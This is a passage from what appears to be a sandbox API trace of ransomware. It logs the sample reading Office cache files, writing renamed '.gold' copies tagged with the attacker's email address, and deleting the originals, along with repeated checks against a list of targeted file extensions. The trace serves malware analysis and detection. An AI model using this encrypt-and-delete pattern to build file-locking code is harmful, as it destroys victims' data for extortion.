[0034.570] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.570] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.570] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.570] SetEndOfFile (hFile=0x184) returned 1 [0034.570] CloseHandle (hObject=0x184) returned 1 [0034.571] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.571] SetEndOfFile (hFile=0x180) returned 1 [0034.572] CloseHandle (hObject=0x180) returned 1 [0034.572] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.572] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.572] lstrlenW (lpString=".doc") returned 4 [0034.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".docx") returned 5 [0034.572] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.572] lstrlenW (lpString=".pdf") returned 4 [0034.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".xls") returned 4 [0034.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".xlsx") returned 5 [0034.572] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.572] lstrlenW (lpString=".ppt") returned 4 [0034.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.572] lstrlenW (lpString=".zip") returned 4 [0034.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.572] lstrlenW (lpString=".rar") returned 4 [0034.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".bz2") returned 4 [0034.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".7z") returned 3 [0034.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".dbf") returned 4 [0034.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".1cd") returned 4 [0034.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".jpg") returned 4 [0034.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".doc") returned 4 [0034.573] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".docx") returned 5 [0034.573] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.573] lstrlenW (lpString=".pdf") returned 4 [0034.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".xls") returned 4 [0034.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".xlsx") returned 5 [0034.573] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.573] lstrlenW (lpString=".ppt") returned 4 [0034.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".zip") returned 4 [0034.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.573] lstrlenW (lpString=".rar") returned 4 [0034.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".bz2") returned 4 [0034.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".7z") returned 3 [0034.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".dbf") returned 4 [0034.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".1cd") returned 4 [0034.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.573] lstrlenW (lpString=".jpg") returned 4 [0034.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.573] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.573] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0034.573] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.574] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=3186) returned 1 [0034.574] CloseHandle (hObject=0x180) returned 1 [0034.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0034.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.574] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.574] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.575] GetLastError () returned 0x0 [0034.575] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xc72, lpOverlapped=0x0) returned 1 [0034.707] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xc80, lpOverlapped=0x0) returned 1 [0034.707] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.707] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.707] SetEndOfFile (hFile=0x184) returned 1 [0034.708] CloseHandle (hObject=0x184) returned 1 [0034.708] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.708] SetEndOfFile (hFile=0x180) returned 1 [0034.709] CloseHandle (hObject=0x180) returned 1 [0034.709] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.760] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString=".doc") returned 4 [0034.760] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString=".docx") returned 5 [0034.760] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.760] lstrlenW (lpString=".pdf") returned 4 [0034.760] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString=".xls") returned 4 [0034.760] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString=".xlsx") returned 5 [0034.760] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.760] lstrlenW (lpString=".ppt") returned 4 [0034.760] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString=".zip") returned 4 [0034.760] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.760] lstrlenW (lpString=".rar") returned 4 [0034.760] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString=".bz2") returned 4 [0034.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString=".7z") returned 3 [0034.760] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString=".dbf") returned 4 [0034.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString=".1cd") returned 4 [0034.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString=".jpg") returned 4 [0034.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.761] lstrlenW (lpString=".doc") returned 4 [0034.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".docx") returned 5 [0034.761] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.761] lstrlenW (lpString=".pdf") returned 4 [0034.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".xls") returned 4 [0034.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".xlsx") returned 5 [0034.761] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.761] lstrlenW (lpString=".ppt") returned 4 [0034.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.761] lstrlenW (lpString=".zip") returned 4 [0034.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.761] lstrlenW (lpString=".rar") returned 4 [0034.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".bz2") returned 4 [0034.761] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString=".7z") returned 3 [0034.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.761] lstrlenW (lpString=".dbf") returned 4 [0034.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.761] lstrlenW (lpString=".1cd") returned 4 [0034.761] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.761] lstrlenW (lpString=".jpg") returned 4 [0034.761] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.761] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.761] lstrlenW (lpString="Proof.xml") returned 9 [0034.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.764] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1457) returned 1 [0034.764] CloseHandle (hObject=0x19c) returned 1 [0034.765] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0034.765] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.765] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.765] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.765] GetLastError () returned 0x0 [0034.765] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5b1, lpOverlapped=0x0) returned 1 [0034.788] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.789] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.789] SetEndOfFile (hFile=0x1a0) returned 1 [0034.789] CloseHandle (hObject=0x1a0) returned 1 [0034.790] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.790] SetEndOfFile (hFile=0x19c) returned 1 [0034.790] CloseHandle (hObject=0x19c) returned 1 [0034.790] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.790] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".doc") returned 4 [0034.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".docx") returned 5 [0034.791] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.791] lstrlenW (lpString=".pdf") returned 4 [0034.791] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".xls") returned 4 [0034.791] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".xlsx") returned 5 [0034.791] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.791] lstrlenW (lpString=".ppt") returned 4 [0034.791] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".zip") returned 4 [0034.791] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.791] lstrlenW (lpString=".rar") returned 4 [0034.791] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".bz2") returned 4 [0034.791] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".7z") returned 3 [0034.791] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".dbf") returned 4 [0034.791] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".1cd") returned 4 [0034.791] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".jpg") returned 4 [0034.791] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".doc") returned 4 [0034.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".docx") returned 5 [0034.791] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.791] lstrlenW (lpString=".pdf") returned 4 [0034.791] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".xls") returned 4 [0034.791] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString=".xlsx") returned 5 [0034.791] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.791] lstrlenW (lpString=".ppt") returned 4 [0034.791] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.791] lstrlenW (lpString=".zip") returned 4 [0034.792] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.792] lstrlenW (lpString=".rar") returned 4 [0034.792] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.792] lstrlenW (lpString=".bz2") returned 4 [0034.792] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.792] lstrlenW (lpString=".7z") returned 3 [0034.792] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.792] lstrlenW (lpString=".dbf") returned 4 [0034.792] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.792] lstrlenW (lpString=".1cd") returned 4 [0034.792] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.792] lstrlenW (lpString=".jpg") returned 4 [0034.792] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.792] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.792] lstrlenW (lpString="Setup.xml") returned 9 [0034.792] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.794] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=5884) returned 1 [0034.794] CloseHandle (hObject=0x19c) returned 1 [0034.794] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.794] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.794] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.794] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 